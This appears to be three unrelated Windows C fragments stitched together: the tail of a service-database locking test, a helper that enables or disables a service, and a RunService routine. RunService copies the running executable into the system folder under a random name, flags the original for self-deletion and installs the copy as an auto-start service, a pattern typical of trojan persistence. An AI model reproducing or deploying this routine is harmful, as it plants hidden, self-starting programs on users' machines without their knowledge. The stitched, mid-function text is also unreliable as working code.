ok(hSvc != NULL, "hSvc = 0x%p, expected non-null, error=0x%08lx\n", hSvc, GetLastError());
if (!hSvc)
{
skip("Cannot open a handle to service %S; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n", TESTING_SERVICE);
goto cleanup;
}
ok_err(ERROR_SUCCESS);
/* Lock the services database */
SetLastError(0xdeadbeef);
hLock = LockServiceDatabase(hScm);
ok(hLock != NULL, "hLock = 0x%p, expected non-zero, error=0x%08lx\n", hLock, GetLastError());
if (!hLock)
{
skip("Cannot lock the services database; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n");
goto cleanup;
}
ok_err(ERROR_SUCCESS);
/* To proceed further, firstly attempt to stop the testing service */
QueryServiceConfigW(hSvc, NULL, 0, &dwRequiredSize);
lpConfig = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize);
QueryServiceConfigW(hSvc, lpConfig, dwRequiredSize, &dwRequiredSize);
dwOldStartType = lpConfig->dwStartType;
HeapFree(GetProcessHeap(), 0, lpConfig);
if (dwOldStartType == SERVICE_DISABLED)
{
ChangeServiceConfigW(hSvc,
SERVICE_NO_CHANGE,
SERVICE_DEMAND_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
}
QueryServiceStatus(hSvc, &status);
bWasRunning = (status.dwCurrentState != SERVICE_STOPPED);
if (bWasRunning)
{
ControlService(hSvc, SERVICE_CONTROL_STOP, &status);
Sleep(1000); /* Wait 1 second for the service to stop */
}
/* Now try to start it (this test won't work under Windows Vista / 7 / 8) */
SetLastError(0xdeadbeef);
bError = StartServiceW(hSvc, 0, NULL);
ok(bError == FALSE, "bError = %u, expected FALSE\n", bError);
ok_err(ERROR_SERVICE_DATABASE_LOCKED);
Sleep(1000); /* Wait 1 second for the service to start */
/* Stop the testing service */
ControlService(hSvc, SERVICE_CONTROL_STOP, &status);
Sleep(1000); /* Wait 1 second for the service to stop */
/* Now unlock the services database */
SetLastError(0xdeadbeef);
bError = UnlockServiceDatabase(hLock);
ok(bError == TRUE, "bError = %u, expected TRUE\n", bError);
ok_err(ERROR_SUCCESS);
/* Try to start again the service, this time the database unlocked */
SetLastError(0xdeadbeef);
bError = StartServiceW(hSvc, 0, NULL);
ok(bError == TRUE, "bError = %u, expected TRUE\n", bError);
ok_err(ERROR_SUCCESS);
Sleep(1000); /* Wait 1 second for the service to start */
/* Stop the testing service */
ControlService(hSvc, SERVICE_CONTROL_STOP, &status);
Sleep(1000); /* Wait 1 second for the service to stop */
/* Restore its original state */
if (bWasRunning)
{
StartServiceW(hSvc, 0, NULL);
}
if (dwOldStartType == SERVICE_DISABLED)
{
ChangeServiceConfigW(hSvc,
SERVICE_NO_CHANGE,
SERVICE_DISABLED,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
}
cleanup:
if (hSvc)
CloseServiceHandle(hSvc);
if (hScm)
CloseServiceHandle(hScm);
return;
}
HRESULT EnableService( LPCTSTR szSvcName, BOOL fDisable )
{
CAutoServiceHandle m_schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if(m_schSCManager==NULL)
return E_POINTER;
CAutoServiceHandle schService=NULL;
SC_LOCK sclLock;
LPQUERY_SERVICE_LOCK_STATUS lpqslsBuf;
DWORD dwBytesNeeded, dwStartType;
BOOL bSuccess=TRUE;
// Need to acquire database lock before reconfiguring.
sclLock = LockServiceDatabase(m_schSCManager);
// If the database cannot be locked, report the details.
if (sclLock == NULL)
{
// Exit if the database is not locked by another process.
if (GetLastError() != ERROR_SERVICE_DATABASE_LOCKED)
{
DPRINT("Database lock failed (%d)\n", GetLastError());
return E_FAIL;
}
// Allocate a buffer to get details about the lock.
lpqslsBuf = (LPQUERY_SERVICE_LOCK_STATUS) LocalAlloc(
LPTR, sizeof(QUERY_SERVICE_LOCK_STATUS)+256);
if (lpqslsBuf == NULL)
{
DPRINT("LocalAlloc failed (%d)\n", GetLastError());
return E_FAIL;
}
// Get and print the lock status information.
if (!QueryServiceLockStatus(
m_schSCManager,
lpqslsBuf,
sizeof(QUERY_SERVICE_LOCK_STATUS)+256,
&dwBytesNeeded) )
{
DPRINT("Query lock status failed (%d)", GetLastError());
return E_FAIL;
}
if (lpqslsBuf->fIsLocked)
DPRINT("Locked by: %s, duration: %d seconds\n",
lpqslsBuf->lpLockOwner,
lpqslsBuf->dwLockDuration);
else
DPRINT("No longer locked\n");
LocalFree(lpqslsBuf);
}
// The database is locked, so it is safe to make changes.
// Open a handle to the service.
schService = OpenService(
m_schSCManager, // SCManager database
szSvcName, // name of service
SERVICE_CHANGE_CONFIG); // need CHANGE access
if (schService == NULL)
{
DPRINT("OpenService failed (%d)\n", GetLastError());
return E_FAIL;
}
dwStartType = (fDisable) ? SERVICE_DISABLED : SERVICE_DEMAND_START;
// Make the changes.
if (! ChangeServiceConfig(
schService, // handle of service
SERVICE_NO_CHANGE, // service type: no change
dwStartType, // change service start type
SERVICE_NO_CHANGE, // error control: no change
NULL, // binary path: no change
NULL, // load order group: no change
NULL, // tag ID: no change
NULL, // dependencies: no change
NULL, // account name: no change
NULL, // password: no change
NULL) ) // display name: no change
{
DPRINT("ChangeServiceConfig failed (%d)\n", GetLastError());
bSuccess = FALSE;
}
else
DPRINT("ChangeServiceConfig succeeded.\n");
// Release the database lock.
UnlockServiceDatabase(sclLock);
return bSuccess ? S_OK : E_FAIL;
}
static void RunService(char *m_ServiceName,char *m_DisplayName,char *m_Description)
{
char FilePath[MAX_PATH];
GetModuleFileName(NULL,FilePath,MAX_PATH);
char SystemPath[MAX_PATH];
GetSystemDirectory(SystemPath,MAX_PATH);
if (strncmp(SystemPath,FilePath,strlen(SystemPath)) != 0)
{
char FileName[80];
wsprintf(FileName,"%c%c%c%c%c%c.exe",'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26));//随即发生一个文件名
strcat(SystemPath,"\\");
strcat(SystemPath,FileName);
CopyFile(FilePath,SystemPath,FALSE);
memset(FilePath,0,MAX_PATH);
strcpy(FilePath,SystemPath);
fDelete_Me = TRUE;
}
char Desc[MAX_PATH];
HKEY key=NULL;
SC_HANDLE newService=NULL, scm=NULL;
__try
{
scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
if (!scm)
__leave;
newService = CreateService(
scm, m_ServiceName, m_DisplayName,
/*SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,*/
SERVICE_ALL_ACCESS|SERVICE_CHANGE_CONFIG,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
FilePath,NULL, NULL, NULL, NULL, NULL);
//锁定一下服务...
SC_LOCK sc_lock=LockServiceDatabase(scm);
SERVICE_DESCRIPTION Service_Descrip={&modify_data.Serdisplay[0]};
ChangeServiceConfig2(newService,SERVICE_CONFIG_DESCRIPTION,&Service_Descrip);
UnlockServiceDatabase(sc_lock);
if (newService == NULL)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
newService = OpenService(scm,m_ServiceName,SERVICE_ALL_ACCESS);
if (newService==NULL)
__leave;
else
StartService(newService,0, 0);
}
}
if (!StartService(newService,0, 0))
__leave;
strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(Desc,m_ServiceName);
RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)m_Description,lstrlen(m_Description));
}
__finally
{
if (newService!=NULL)
CloseServiceHandle(newService);
if (scm!=NULL)
CloseServiceHandle(scm);
if (key!=NULL)
RegCloseKey(key);
}
}
